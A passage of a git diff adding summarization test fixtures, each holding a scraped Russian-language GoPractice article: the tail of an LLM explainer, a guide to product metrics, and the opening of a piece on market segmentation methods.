слова — и так далее. В примере выше мы схематично показали, как работает LLM на примере подбора следующих слов предложения. При этом в реальности LLM работает не со словами, а со смыслом слов и предложений. Давайте обсудим, что это значит. Как LLM понимает смысл текста Приведенное выше объяснение — лишь вершина айсберга. На сегодня нельзя с уверенностью и простыми словами объяснить, как именно LLM «понимает» текст, но можно выделить несколько важных компонентов этого процесса: LLM представляет каждое слово как точку в многомерном пространстве. Это пространство обычно очень сложное. Например, в моделях GPT-3 размерность около 10 000, то есть для описания каждого слова используется набор из около 10 000 чисел, который называется термином эмбеддинг (embedding). ↓ За счет обучения на огромном объеме данных получается добиться того, что близкие по смыслу слова становятся близкими точками, и математические операции над ними (сравнение близости, сложение, усреднение и так далее) начинают иметь практический смысл. Это позволяет модели находить синонимы, сравнивать смысл текстов, перефразировать тексты. Таким образом, модель работает не с фактическими словами, а с их смыслами. ↓ LLM моделирует взаимосвязи между словами. При определении следующего слова, его вероятность будет зависеть от смысла всех предыдущих слов с учетом их позиции в тексте. Этот механизм получил название causal self attention, именно он позволяет модели понимать смысл слов в зависимости от контекста их использования. ↓ Для обучения модели используются огромные массивы текстов. Современные модели могут обучаться на десятках терабайтов текста. Это дает возможность проанализировать настолько большое количество информации, что модель получает в некотором смысле универсальное знание практически обо всем. При этом стоит учитывать, что это знание напрямую зависит от того, на чем модель училась (это запросто могут быть не совсем достоверные данные). ↓ Сама модель имеет очень большое число параметров: десятки, а иногда сотни миллиардов параметров. За счет этого получается «запомнить» все стандартные конструкции большого числа языков, включая языки программирования, смыслы слов и терминов, стили текста и правила логических рассуждений. ↓ Универсальная языковая модель затем часто дообучается под конкретную задачу. Задачей может быть диалог, ответы на вопросы, дополнение или редактирование текста, классификация. Дообучение (fine-tuning) происходит с использованием данных, которые отражают специфику конечной задачи. Например, для дообучения ChatGPT (в качестве фундаментальной модели используется GPT-3.5 и GPT-4) использовались большие выборки вопросов и ответов в диалоговой форме, которые тщательно составлялись коллективом экспертов. Также для дообучения используется ручная разметка ответов, которые были созданы моделью с целью различить подходящие и неподходящие ответы. Именно дообучение позволяет добиться того, чтобы модель следовала инструкциям, которые указываются в промпте. Риски и особенности применения LLM Если вы думаете об использовании LLM в своем продукте или же построении нового сервиса, важно учитывать следующее. Во-первых, LLM может сгенерировать все, что угодно. Ответы современных моделей не проходят фактчекинг. Это означает, что вы можете получить в ответ недостоверную, опасную или токсичную информацию. Эта проблема получила название AI-галлюцинаций и сейчас привлекает внимание ведущих ученых. Использование информации, не прошедшей проверку, может обернуться крупными репутационными потерями. Недостоверная информация, созданная с помощью LLM, уже становится причиной судебных исков. Люди склонны доверять ответам LLM — это создает угрозы в области кибербезопасности. Во-вторых, размер текста, который можно задавать на вход модели, ограничен, размер ответа модели также имеет ограничения. Это означает, что если вы хотите обработать текст большого размера, например сделать перевод книги или написать выжимку из длинной статьи или дать ответ, согласно длинной инструкции, то для этого потребуется придумать алгоритм обработки текста по частям. В-третьих, важно осознавать риски, связанные с передачей персональных и иных корпоративных данных, при использования моделей через API облачных сервисов. Уже есть громкие случаи утечек корпоративных данных в ChatGPT — кейс компании Samsung. Некоторые крупные компании вводят правила, запрещающие сотрудникам использовать ChatGPT — кейс компании Apple. Утечки данных могут произойти внутри самих облачных сервисов — кейс компании OpenAI. Как оценить перспективы использования LLM в своем продукте Чтобы принять решение об использовании LLM в вашем продукте, постарайтесь ответить на вопрос: «Если модель сгенерирует неправдоподобную/ложную/токсичную информацию, будет ли это безопасно для пользователя?» Если да — LLM можно использовать. Если нет — лучше либо воздержаться от использования технологии в вашем продукте, либо продумать и реализовать необходимые правила фильтрации такого контента, чтобы минимизировать риски. Для использования LLM в продуктах и сервисах наиболее безопасны кейсы, когда ответ модели проходит дополнительную обработку сценариями верификации или используется в качестве ассистента-помощника для человека, который осознает ограничения этой технологии и не допускает реализации негативных рисков. Примеры крупных продуктов на базе LLM Вот несколько примеров новых успешных продуктов, которые построены на основе LLM моделей. Более полный список успешных кейсов применения LLM для конечного пользователя мы рассмотрим в следующих материалах цикла. ChatGPT – универсальный чат-бот; Bing Chat — новый интерфейс поисковой системы Bing, построенный на технологии LLM; Anthropic — предоставляют API для встраивания LLM в продукты, например на базе этого API построена фича “Ask AI” в Notion; Copilot, который, по данным GitHub, сегодня участвует в написании 46% кода (среди разработчиков, которые его используют) и помогает им писать код на 55% быстрее; Jasper — сервис для создания контента сайтов, постов в блогах и социальных сетях; Perplexity AI – диалоговая поисковая система. Продолжение серии про генеративный AI Этот материал — первый в серии публикаций о возможностях генеративного AI: какие существуют инструменты и перспективные бизнесы на их основе, какие возможности и ограничения есть у таких технологий. Приобрести и отточить навыки управления продуктами с искусственным интеллектом и машинным обучением вам поможет «AI/ML-симулятор для продакт-менеджеров» от GoPractice. +============== diff --git a/tests/summarization/https___gopractice.ru_product_metrics_.txt b/tests/summarization/https___gopractice.ru_product_metrics_.txt new file mode 100644 index 0000000..832f209 --- /dev/null +++ b/tests/summarization/https___gopractice.ru_product_metrics_.txt @@ -0,0 +1,2 @@ +Метрика — это способ измерить что угодно и представить это в числовом выражении. Метрики в продукте или бизнесе — ключевой ориентир для оценки деятельности компании и ее результатов. Понятие «метрики» неизбежно тянет за собой массу вопросов и оговорок: зачем они нужны, как их выбирать, как считать, отслеживать и интерпретировать. Этот материал нацелен прежде всего на тех, кто прежде не работал с метриками в продукте и бизнесе или только начал. В нем мы подробно разберем различные вопросы и понятия, важные для правильной работы с метриками. Оглавление Метрики: определение Зачем нужны продуктовые метрики Как работать с метриками На какие вопросы отвечают метрики Какими бывают метрики: метрики продукта, роста, добавочной ценности и эффективности решения задачи Типовые инструменты и методы работы с метриками Что такое дашборд Дерево метрик или иерархия метрик North star metric, proxy-метрики, опережающие метрики и vanity-метрики Фреймворки для работы с метриками Как узнать, отслеживать и исследовать метрики? Инструменты аналитики Узнайте больше (что еще можно прочитать и изучить) Метрики: определение Метрика — это измеряемый показатель, который используется для отслеживания определенного параметра в динамике и оценки результата на выбранный момент. Метрики существуют повсеместно: и в реальном, и в цифровом мире. Температура воздуха, уровень сахара в крови, ВВП на душу населения, годовая прибыль компании, количество посетителей сайта за сутки — все это по своей сути метрики. Метрики не существуют сами по себе: их создают люди для измерения тех или иных явлений вокруг. Поэтому у полезной, хорошей метрики всегда есть ясный и прикладной смысл. Напротив, если смысл метрики никому не понятен — она бесполезна. Раньше для измерения расстояния использовалась верста. Потребность измерять расстояние не исчезла, но на смену версте пришли километры, а сама она вышла из употребления и стала бесполезна. Любой рациональный бизнес опирается на метрики. Для IT- и диджитал-компаний в частности это будут: 🔸 Продуктовые метрики (например, возвращаемость пользователей в продукт, то есть Retention) 🔸 Бизнес-метрики (например, объем продаж или количество заявок от клиентов) 🔸 Маркетинговые метрики (например, отношение кликов к показам рекламной кампании, то есть Clickthrough rate, CTR) 🔸 Производственные и технологические метрики (например, скорость загрузки страницы на вебе) 🔸 И так далее. В этом материале мы сосредоточимся на обсуждении продуктовых метрик, то есть метрик, которые наиболее часто встречаются в продуктовой работе и имеют в ней практический смысл. Они включают в себя часть метрик из смежных сфер — бизнеса, маркетинга, технологических процессов — так как продукт не находится в вакууме, а тесно связан со всеми остальными процессами и частями бизнеса. Зачем нужны продуктовые метрики Продуктовые метрики являются своего рода окном в текущее состояние продукта. И уже на основе этой информации продуктовые команды могут принимать решения об изменениях в продукте, их важности, приоритетности. Если суммировать, то метрики в работе над продуктом нужны, чтобы: 1️⃣ Понимать, что происходит с продуктом, выстроенным вокруг него бизнесом, с его клиентами 2️⃣ Принимать информированные обоснованные решения об изменениях в продукте 3️⃣ Оценивать результаты изменений в продукте: сделали ли они продукт лучше или хуже для пользователей 4️⃣ Измерять то, что тесно связано с продуктом и влияет на него, например таргетированная реклама, партнерские публикации, реферальные программы и пр. 5️⃣ Фиксировать аномалии и реагировать на них 6️⃣ В лаконичной форме презентовать результаты продукта Как работать с метриками Ключевая цель продакт-менеджера заключается в том, чтобы создавать ценность в продукте для пользователей и тем самым трансформировать эту ценность в прибыль для бизнеса. И метрики в данном случае — важнейший инструмент для принятия data-driven решений, через которые в значительной степени цель реализуется. Любой продукт — это сложная система взаимосвязанных вещей, и профессиональная работа с продуктовыми метриками подразумевает не только погоню за цифрами, но и понимание — стоящих за ними процессов; — задач, за решением которых приходят пользователи; — на каком этапе развития находится продукт; — бенчмарков в индустрии; — и множество других аспектов. Универсального рецепта работы с метриками нет, но прокачка знаний и навыков позволяет с уверенностью находить ключи к тому, чтобы прямо или на основе устойчивой корреляции измерить практически все процессы в рамках продукта или бизнеса. На какие вопросы отвечают метрики Вот несколько примеров типовых высокоуровневых метрик и вопросы, на которые они отвечают. Revenue (выручка) — отвечает на вопрос, сколько денег наш продукт получил за определенный период до вычета расходов. DAU/WAU/MAU (Daily/Weekly/Monthly Active Users) — отвечают на вопрос, сколько активных пользователей в нашем продукте ежедневно, еженедельно или ежемесячно. Retention — отвечает на вопрос, как продукт возвращает пользователей. Для большинства типов продуктов это один из ключевых показателей. Retention показывает, сколько людей вернулись в день Х (неделю Х, месяц Х) после первого входа в продукт, и измеряется в процентах. Также Retention может считаться и в использование конкретной функциональности в продукте. Подробнее в гайде по Retention. ARPU (Average Revenue per User) — отвечает на вопрос, сколько денег приносит средний пользователь за определенный период. Считается через деление общей выручки на число пользователей. LTV (Lifetime Value) — отвечает на вопрос, сколько денег принесет продукту один пользователь в среднем за все время использования продукта. Важный индикатор для прогнозирования выручки и прибыли продукта. Метрики выше — часто встречающиеся и общеупотребимые, но они могут не отвечать всем потребностям продуктовой команды. В таком случае команда может создавать метрики для измерения конкретного процесса, характерного для этого продукта, — главное, чтобы команда ясно отдавала себе отчет, что и зачем она считает. Так, в материале о том, как Duolingo перезапустил свой рост, вы можете найти упоминания довольно необычных метрик, например iWAURR (inactive WAU reactivation rate). В контексте работы над Duolingo эта метрика подразумевала долю пользователей: — которые не были активны сегодня; — которые были активны в течение предыдущих шести дней; — которых удалось вернуть сегодня в продукт. Таким образом, метрики могут отвечать на самые разнообразные вопросы о продукте, если вы найдете правильный способ для их расчета и убедитесь, что сам по себе этот расчет имеет практический смысл. Какими бывают метрики: метрики продукта, роста, добавочной ценности и эффективности решения задачи В образовательных продуктах GoPractice мы делим метрики на: — метрики продукта; — метрики роста; — метрики добавочной ценности; — метрики эффективности решения задачи. Такая типология не является формальной, но популярна в продуктовом сообществе, так как позволяет легче разобраться в природе метрик и усвоить принципы работы с ними. Метрики продукта показывают, как продукт превращает новых пользователей в другие материи — активных пользователей, платящих пользователей, прибыль, заказы, обращения в поддержку. К таким метрикам относятся упомянутые выше Retention, LTV, а также конверсии пользователей, например в покупку. Метрики роста отражают эффективность бизнеса, построенного вокруг продукта. Это может быть количество активных пользователей (DAU/MAU), прибыль, количество заказов, число просмотренных видео на платформе и так далее. 💡 Метрики роста являются прямым результатом умножения метрики продукта на число новых пользователей. Метрика продукта Новые пользователи * метрику продукта = Метрика роста Daily Retention (дневной Retention) Новые пользователи * Daily Retention = DAU LTV Новые пользователи * LTV = Gross Profit Retention into Sending a Message (то есть Retention в отправку сообщения) Новые пользователи * Retention into Sending a Message = Количество пользователей, отправивших сообщение % новых пользователей, которые подписались Новые пользователи * % новых пользователей, которые подписались = Количество новых подписчиков Важно понимать разницу между двумя этими типами метрик. Поскольку метрики роста получаются путем умножения метрики продукта на число новых пользователей, такие метрики очень легко «раздуть». Допустим, мы работаем над мобильной игрой со слабым для своей категории месячным Retention: 3%. То есть лишь 3 игрока из привлеченных 100 будут играть в нее в следующем месяце. Если мы закупим рекламу и привлечем большое количество новых пользователей, то увидим всплеск на графике MAU. Однако поскольку наш продукт плохо удерживает пользователей, то это может оказаться экономически нецелесообразно: оставшиеся игроки не принесут продукту столько денег, сколько было потрачено на привлечение всех пользователей. Подробнее о нюансах работы с Retention — в этом материале. Это, впрочем, вовсе не говорит о том, что метрики роста бесполезны и всегда манипулятивны — пример выше лишь подчеркивает то, что важно понимать все составляющие метрики и не смотреть на нее в отрыве от других факторов и показателей. Поэтому если мы хотим измерить успешность изменений в продукте, то следует обращать внимание на метрики продукта. Если благодаря им удалось увеличить Retention, то в перспективе это будет означать возможность удержать в продукте больше пользователей, чем ранее. А значит, это позволит повысить эффективность бизнеса, что, в свою очередь, будет отражаться в метриках роста. Мы также выделяем еще две категории метрик, которые помогают вести работу над продуктом на уровне его ценности для пользователя. Метрики эффективности решения задачи пользователя — это мера того, сколько усилий и ресурсов требуется для решения задачи пользователя, либо достижения определенного прогресса в рамках ее решения. Метрики добавочной ценности — это мера того, насколько эффективнее один продукт решает задачу, чем другой (то есть разница метрик эффективности двух продуктов). Простой пример. Допустим, есть два финансовых продукта, которые созданы для получения пассивного дохода от вложенных в них денег. Между ними нет никаких различий, кроме годовой процентной ставки: Первый продукт приносит 5% годовых; Второй продукт приносит 7% годовых. В таком случае процентная ставка является метрикой эффективности каждого из продуктов. А разница между процентными ставками — это метрика добавочной ценности второго продукта относительно первого. Если вы хотите узнать больше о метрик эффективности и добавочной ценности, рекомендуем прочесть этот материал. Типовые инструменты и методы работы с метриками Что такое дашборд Дашборд — это набор различных метрик на одном экране. Простой пример — приборная панель автомобиля, на которой видны скорость, запас топлива, пройденный километраж, температура в салоне и так далее. Иллюстративный пример дашборда в Amplitude. Больше примеров и демо-версии дашбордов — в подборке Amplitude. Основная роль дашборда — минимизировать усилия для того, чтобы получить набор метрик по заданной теме, то есть иметь возможность быстро оценить текущее состояние продукта и сравнить его с недавними показателями. Поэтому разные команды в компании как правило настраивают свои дашборды для удобства работы и мониторинга в динамике. В рамках ваших задач в новой для вас компании или продукте наверняка уже созданы подобные дашборды, которые вы можете изучить. Дашборды являются неотъемлемой частью любой системы аналитики и могут настраиваться в зависимости от потребностей его пользователя (например, продакт-менеджера). О самих системах аналитики мы поговорим чуть подробнее ниже. А в этом материале — рекомендации от опытного маркетолога о том, как строить маркетинговые дашборды. Дерево метрик или иерархия метрик Любой продукт характеризуется целым набором различных метрик. И все они непосредственно или косвенно влияют друг на друга. Отсюда рождается понятие дерева метрик. Хотя мы не используем это понятие в симуляторах и материалах GoPractice, оно часто встречается в продуктовом сообществе, поэтому следует дать небольшое пояснение. Дерево метрик — это визуализация того, как разные метрики в продукте влияют друг на друга: от верхнеуровневых к низкоуровневым. Так, понятие «выручка» для любого бизнеса складывается из набора различных факторов. Например, для продукта из e-commerce это будет количество заказов, стоимость продукции, средний чек, среднее число покупок на пользователя в месяц, процент возвратов и так далее. Такая декомпозиция метрики «выручка» по сути и позволяет сформировать дерево метрик. Выше — пример дерева метрик для мобильного приложения, составленный командой Growth Consulting от Google Play. Он визуализирует для разработчиков то, из каких элементов обычно складывается дневная выручка их приложения. Основная ценность формирования дерева или иерархии метрик в том, что так становятся видны рычаги влияния на интересующую вас верхнеуровневую метрику. Метрики перестают отслеживаться разными кусками команды в отрыве друг от друга, и все они формируют цели в рамках общего «дерева» и понимание, как одно влияет на другое. Когда становится понятно, что, например, увеличение среднего числа покупок поможет нарастить выручку, рождаются гипотезы того, как этого можно реализовать. Дерево также помогает синхронизироваться разным командам или даже отделам, которые могут работать над одним большим продуктом. Именно поэтому многие консультанты по развитию продукта и бизнеса часто опираются на концепцию дерева метрик в своих программах. Это наглядный способ декомпозиции всего устройства продукта, который может помочь найти и обозначить проблемные зоны (однако ничего не сообщает о том, как обнаруженные проблемы решать). North star metric, proxy-метрики, опережающие метрики и vanity-метрики Вы можете встретить и другие профессиональные buzzwords, связанные с метриками. Здесь разберем наиболее часто встречающихся из них. North Star Metric (NSM) — это ключевая метрика успеха продукта, на рост которой направлены усилия всех команд. NSM является производной от других метрик, которые отражают эффективность продукта в разных его частях, и является своего рода вершиной дерева метрик. NSM преследует две цели: — Во-первых, она объединяет усилия продуктовой команды вокруг единой цели, которая отражает ценность продукта. Согласованность действий — обязательное условие для сфокусированной и последовательной работы над продуктом. — Во-вторых, NSM помогает оценивать и приоритизировать новые проекты. Она служит бенчмарком при определении того, как эти проекты отразятся на росте продукта. Подробнее про NSM, а также о критериях ее выбора для продукта мы рассказывали здесь. Proxy-метрики (прокси-метрика) — это метрика, которая лишь косвенно указывает на некий показатель, который нельзя измерить напрямую. Допустим, мы не можем с точностью измерить удовлетворенность пользователей продуктом (или не можем на сто процентов доверять результатам соответствующего опроса). Но мы можем выбрать прокси-метрику, которая будет косвенно коррелировать с ростом или снижением удовлетворенности пользователей: например, сколько времени они проводят в продукте или как часто они приглашают друзей. Опережающие метрики — это показатели, которые предсказывают другие значимые результаты на основе корреляции между ними. Они помогают спрогнозировать будущие изменения в метриках до того, как они произошли. Например, трафик на сайт является опережающей метрикой для количества новых регистраций, а уровень удовлетворенности клиентов (NPS) предсказывает отток или рост числа клиентов. Vanity-метрики (от английского vanity — тщеславие) — это такие метрики, которые не несут в себе практического смысла для продуктовой работы, но могут выглядеть впечатляюще. Например, это могут быть просмотры страниц, количество скачиваний приложения и даже число пользователей продукта. С такими vanity-метриками нужно быть особенно аккуратными: они запросто могут не отражать реальность и повести продуктовую команду по ложному следу. А недобросовестные менеджеры могут использовать такие метрики, чтобы продемонстрировать свою эффективность, тогда как реальной ценности для продукта не создается. Рассмотрим пример из нашего «Симулятора управления продуктом на основе данных». В компании Y разработали новый продукт. После «софт лонча» он показал неплохие результаты: Стоимость привлечения пользователя составила $1; Средний доход с одного нового пользователя составил $2 в течение следующих четырех месяцев после его привлечения; 30% новых пользователей продолжали пользоваться продуктом спустя месяц (далее доля постепенно снижалась до 15%). Было принято решение запускать продукт на мир. Наняли команду по маркетингу, которая хорошо справилась с работой. Они, сохраняя стоимость привлечения пользователя на уровне $1, привлекли 10 тысяч новых пользователей в первый месяц после запуска, 15 тысяч — во второй, 20 тысяч — в третий и так далее. Также был нанят опытный продакт-менеджер, который теперь отвечал за развитие сервиса. К сожалению, он оказался плохим продакт-менеджером. Он выпускал новую версию продукта каждый месяц, но изменения, которые он вносил, были неудачными. Поэтому после каждого изменения доход с нового пользователя падал на $0.1, а доля пользователей, продолжающих использовать продукт, в долгосрочной перспективе снижалась на 2 процентных пункта. Исторически сложилось, что в компании было принято следить за месячной аудиторией (MAU, или Monthly Active Users) и доходом (Revenue) каждого из продуктов. На основе этих метрик выставлялись цели и оценивались успехи команды, работающей над продуктом. Поэтому в конце года, по прошествии девяти месяцев после глобального запуска, руководство было очень довольно результатами. Помните, что наш продакт-менеджер каждый месяц портил продукт! Но при этом метрики роста стабильно шли вверх. Ниже приведены те же графики, но с данными за 16 месяцев после запуска продукта. Тут уже заметны последствия неудачных изменений. Но первые сигналы появились лишь спустя 10 месяцев! При этом аудитория все еще продолжала стремительно расти. Помните: нет универсальных North Star, прокси- или vanity-метрик: в зависимости от продукта и от задачи, которую хочет решить с ее помощью команда, такими метриками могут выступать любые. Фреймворки для работы с метриками Чтобы систематизировать работу с продуктовыми метриками, существуют различные фреймворки. Их задача — перевести этапы взаимодействия пользователей с продуктом в измеримые метрики. Разобрать все в одном материале нет возможности, но для понимания — давайте обсудим два популярных: AAARRR («пиратские метрики») и HEART. AAARRR Этот «пиратский» фреймворк — аббревиатура от названий основных этапов взаимодействия с продуктом. Awareness — как люди узнают о вашем продукте и как меняется узнаваемость бренда. Может измеряться через поисковые запросы, упоминаемость в СМИ соцсетях. Acquisition — как люди приходят в продукт. Может измеряться через посещаемость продукта, источники трафика, стоимость привлечения (Cost per acquisition, CPA). Activation — как люди осознают ценность продукта. Может измеряться через завершение онбординга (доля завершивших процесс пользователей), совершение ключевого действия, приобретение подписки и пр. Retention — как пользователи возвращаются в продукт. Может измеряться через одноименную метрику: Retention в открытие продукта, Retention в определенное действие, Retention в покупку. Revenue — как монетизируется продукт и сколько он зарабатывает. Может измеряться через общие доходы за определенный период, среднюю выручку на пользователя (ARPU), через LTV. Referral — как пользователи приглашают в продукт других людей. Может измеряться через долю пользователей, поделившихся ссылкой на продукт, через долю пользователей, активированных в продукте после перехода по реферальной ссылке и пр. Важно определить, какие метрики вашего продукта вы будете отслеживать в рамках этого фреймворка, установить KPI или OKR по этим метрикам и затем составить гипотезы, которые могут улучшать выбранные метрики. HEART Еще один фреймворк, которые позволяет перейти от ключевых для вашего продукта действий пользователей к конкретным измеримым метрикам. Аббревиатура расшифровывается следующим образом: Happiness — удовлетворенность. Engagement — вовлечение. Adoption — использование. Retention — возвращаемость. Task success — успешность выполнения задачи. Фреймворк требует определения трех ключевых аспектов применительно к каждой составляющей: целей (Goals), сигналов о достижении цели (Signals) и метрик, измеряющих достижение цели (Metrics). Вот как это будет выглядеть в форме таблицы: Goals Signals Metrics Happiness Engagement Adoption Retention Task success Например, для продукта мы хотим измерять Happiness. В качестве сигналов удовлетворенности пользователя продуктом могут выступать позитивные отзывы, лояльность бренду. А в качестве конкретных метрик — Net Promoter Score (NPS, ответ на вопрос «Насколько вероятно, что вы порекомендуете продукт?»), рейтинг в магазине приложений, количество тикетов с жалобами в поддержку и т.д. А чтобы измерить Adoption, в качестве сигналов можно взять использование конкретной функциональности или совершение покупок внутри продукта. Метриками, соответственно, могут быть доли от общего числа пользователей, которые совершили это действие. В чем разница? Обычно фреймворк AAARRR используется для продуктов, которые в большей степени ориентированы на рост, маркетинг и оптимизацию доходов. Наиболее актуален для стартапов на этапе роста. Фреймворк HEART подходит для продуктов, ориентированных на оптимизацию UX. Актуален для сформированных устойчивых продуктов. Больше про фреймворк AAARRR. Больше про фреймворк HEART. Как узнать, отслеживать и исследовать метрики? Инструменты аналитики Для каждой группы метрик, которые могут быть актуальны в продуктовой работе, существуют свои инструменты для их изучения. Вот несколько примеров: — Для метрик, связанных с веб-сайтами, это может быть Google Analytics или «Яндекс Метрика» — Для метрик приложений — Amplitude, Mixpanel или AppMetrica — Для работы с маркетингом в рамках приложений — Adjust, AppsFlyer — Для метрик SEO — «Яндекс Вебмастер», Google Search Analytics, SEMrush, Ahrefs — Для метрик email-маркетинга — Unisender, SendPulse — Для A/B-тестирования — Optimizely, VWO Список выше — не исчерпывающий: существуют и другие типы метрик для отслеживания и соответствующие инструменты. Если эти данные о взаимодействии с продуктом хранятся в собственной реляционной базе данных продукта, то доставать их можно с помощью запросов к ним — через SQL. Это гораздо более гибкий способ получения интересующих вас метрик, но он требует специальных навыков (получить их можно в нашем «Симуляторе SQL для продуктовой аналитики»). Такой способ выбирают в продуктах, где много платформ (веб, мобайл, IoT), в корпоративных продуктах в закрытой среде и в случае, когда нельзя передавать данные по требованиям безопасности. В таком случае для отображения результатов отчеты и дашборды строят в BI системах таких как PowerBI, Tableau, Metabase, Yandex DataLens и других. С другой стороны, готовые инструменты из перечисленных выше чаще всего предоставляют удобные способы визуализации данных и кастомизируемые дашборды, благодаря которым вы видите все важные метрики на одном экране. Если вы начинаете работу над устоявшимся продуктом, то у него, с высокой вероятностью, уже настроены все необходимые аналитические инструменты. В таком случае важно изучить особенности работы используемых инструментов (в том числе изучить документацию по ним) и обязательно пообщаться с коллегами из продуктовой команды, чтобы лучше в них разобраться. При работе с популярными инструментами стоит также помнить, что за одинаковыми названиями метрик в разных инструментах могут скрываться несколько различающиеся вещи. Именно поэтому важно изучать документацию каждого инструмента. Узнайте больше В этом разделе мы собрали полезные ссылки, которые помогут вам углубиться в тему работы с метриками и работы над продуктом. Про метрики — «Метрики продукта, роста, эффективности и добавочной ценности» — подробный гайд по типам метрик и роли, которую они играют. — Дуглас У. Хаббард, «Как измерить все, что угодно». Автор развенчивает миф о том, что некоторые вещи в бизнесе не поддаются измерению, и с примерами объясняет, как это можно сделать, чтобы на основе полученных данных принимать более обоснованные решения. — «Метрика Retention. Что означает, как ее рассчитать и как ее улучшить» — «Метрика ARPU. Как ее считать, чем она отличается от LTV, почему может ввести в заблуждение» — «Расчет LTV. Как надо и не надо считать Lifetime Value» Про работу над продуктом — Рекомендуем прочитать нашу серию материалов «Основы продакт-менеджмента». Начать можно с этого материала. — Мы упоминали SQL в контексте работы с аналитическими инструментами. Здесь продакт-менеджеры рассказывают, почему важно и полезно освоить SQL. А здесь можно приступить к обучению. Комплексное обучение по теме метрик — Для того, чтобы научиться работать с метриками и принимать data-driven решения, вам подойдет обучение в «Симуляторе управления продуктом на основе данных» или более объемной программе для перехода в продуктовую роль — «Профессия: продакт-менеджер». +============== diff --git a/tests/summarization/https___gopractice.ru_product_segmentation-method_.txt b/tests/summarization/https___gopractice.ru_product_segmentation-method_.txt new file mode 100644 index 0000000..7ad56e8 --- /dev/null +++ b/tests/summarization/https___gopractice.ru_product_segmentation-method_.txt @@ -0,0 +1,2 @@ +В условиях конкуренции невозможно выжить, делая универсальный продукт для всех. Вы не сможете дать достаточно ценности рынку, а значит — экономика не сойдется. Чтобы адаптировать маркетинг и продукт под конкретную аудиторию, потребуется выбрать целевые сегменты, а затем сделать для них лучшее предложение. Но как сегментировать? По какому набору признаков или критериев? В этом материале, который мы подготовили с экспертом-исследователем, обсудим, как определиться с методом сегментации. Этот материал подготовил Виктор Буто, тимлид продуктовых исследований, автор телеграм-канала “Research & Sensemaking”. Введение Есть бородатая картинка о том, что большинство стартапов закрываются по причине «нет спроса на рынке». Это довольно синонимично выражению «не нашли перспективный сегмент». Выходит, что решение по сегментации — одно из важнейших на стратегическом уровне. Сделав выбор в пользу определенного сегмента, а затем инвестировав массу ресурсов в продукт и маркетинг, вы не сможете легко откатиться обратно в случае ошибки. Чтобы не получилось так, как на картинке выше, к выбору потенциального целевого сегмента нужно подойти ответственно. А для этого, в первую очередь, нужно определить подходящий метод сегментации. То есть понять, как, по каким признакам мы намерены делить аудиторию. В каком-то смысле это похоже на прорисовку карты неизвестной территории. Одним компаниям нужно будет найти самые высокие горы, другим — зеленые луга, третьим — глубокие моря. Мы строим гипотезы о том, где они могут находиться, а потом идем их искать. План работы над сегментацией Чтобы в конечном счете определиться с целевыми сегментами, для которых будет вестись работа на уровне продукта и маркетинга, предстоит пройти шесть шагов работы над сегментацией. Вот они: 1. Постановка целей 2. Определение гипотез сегментов и оценка по четырем критериям 3. Проведение качественного сегментационного исследования для выделения сегментов 4. Определение потенциала сегментов и выбор потенциальных целевых 5. Проведение количественного исследования для валидации сегментов 6. Выбор целевых сегментов В этом материале мы обсудим первые два шага, а к остальным приступим в следующем материале. Вы узнаете, на какие четыре критерия можно опираться, чтобы выбрать подходящий метод сегментации, то есть, как именно нарезать рынок на отдельные группы людей. Выбирать метод сегментации сложно Методом сегментации я буду называть общий подход или фреймворк, например, соцдем, JTBD, персоны, ABCDX и прочее. Таких методов существует очень много. Мы с 6-sense собирали на одной карте все известные нам подходы. 6-sense.pro 6-sense.pro 6-sense.pro Знания разнообразных методов сегментации недостаточно. ✅ Карта поможет для брейншторма по сегментации внутри команды. ⛔️ Но это не поможет выбрать среди всего множества методов правильный подход. К тому же вокруг отдельных методов сегментации возник свой лор из фреймворков и карго-культов: JTBD (который плохо подходит для эмоциональных категорий). Теория поколений (которая не доказана). Архетипы (с которыми сложно сделать таргетинг). Сensydiam (который не сработал в Avito). У этих подходов есть свои фанаты, которые развивают теорию, делают проекты и продают исследования в рамках своих фреймов. ⚡️ Проблема в том, что иногда они считают, что их подход ультимативен и применим для любой ситуации. Человек, которому подарили классный молоток, начинает везде видеть гвозди. Это понятно — нам проще доработать свой фреймворк, чтобы впихнуть в него неудобный кейс, чем выкорчевать весь подход целиком, а затем с нуля изучать новые методы. Чтобы не быть прислужником фреймворков и готовых подходов, нужно сначала определиться с целями. Ваши цели определяют выбор метода сегментации Выбор подходящего метода сегментации очень сильно зависит от ваших целей и задач. Простой пример. В сегментациях бренд-менеджеров вы часто можете найти архетипы или Censydiam, которые хорошо помогают проработать эмоциональную часть бренда. У маркетологов же будут более приземленные и конкретные методы сегментации, потому что на тактическом уровне им сложно отсеять конкретных людей в конкретных каналах через архетипы. Я лично не знаю, как таргетировать архетип «воин» в VK или телеграме. Можно разве что крутить баннер на всех: «Для воинов скидка 15%». Вот несколько примеров целей, для которых имеет смысл использовать совершенно разные методы сегментации: Запуск нового продукта Обновление маркетинговой стратегии текущего продукта Построение бренд-стратегии Повышение выручки компании Повышение LTV текущих клиентов Запуск новой фичи для текущих пользователей Улучшение пользовательского пути в продукте Построение продуктовой стратегии Поэтому перед началом сегментации обязательно: Максимально ясно определите свою задачу. Пропишите, как именно вы будете использовать сегментацию. Уже на этом этапе можно отфильтровать часть методов, полагаясь на здравый смысл. Например, если вы будете настраивать таргет по профилям Linkedin, то сможете сразу откинуть все методы, которые не позволяют вам разделить аудиторию соответствующим образом. Вам вряд ли поможет персона, которая носит джинсы Levi’s, имеет позитивное отношение к жизни и водит Mercedes. Теперь можно переходить к следующему этапу работы над сегментацией. ✅ 1. Постановка целей 👉 2. Определение гипотез сегментов и оценка по четырем критериям ⌛️ 3. Проведение качественного сегментационного исследования для выделения сегментов ⌛️ 4. Определение потенциала сегментов и выбор потенциальных целевых ⌛️ 5. Проведение количественного исследования для валидации сегментов ⌛️ 6. Выбор целевых сегментов Четыре критерия для выбора параметров сегментации После постановки целей нам нужно выбрать гипотезы для параметров, по которым мы будем разделять рынок. Дальше мы проверим такие параметры на исследовании, но важно наметить их заранее. Если в исследовании мы не разметим людей по какому-либо важному параметру, например по семейному положению, то на этапе анализа интервью уже не сможем выделить этот сегмент. 💡 Параметры — это все, что помогает разделить пользователей. Например: Возраст Доход Интересы «Работы» по JTBD Привычки Архетипы И так далее Чтобы понять, какие параметры для вашей ситуации подходят больше можно опираться на четыре критерия: релевантность, однородность, четкость и доступность. Обсудим их подробнее. Релевантность Релевантность параметра сегментации, или выражаясь проще, его соответствие определенной вами цели, вы можете оценить самостоятельно на основе здравого смысла и экспертного подхода. Общая идея для оценки релевантности проста — разные параметры имеют разные свойства и подходят для разных ситуаций. Простой пример. Вы хотите проработать профили аудитории и привлекать их с помощью интеграций в 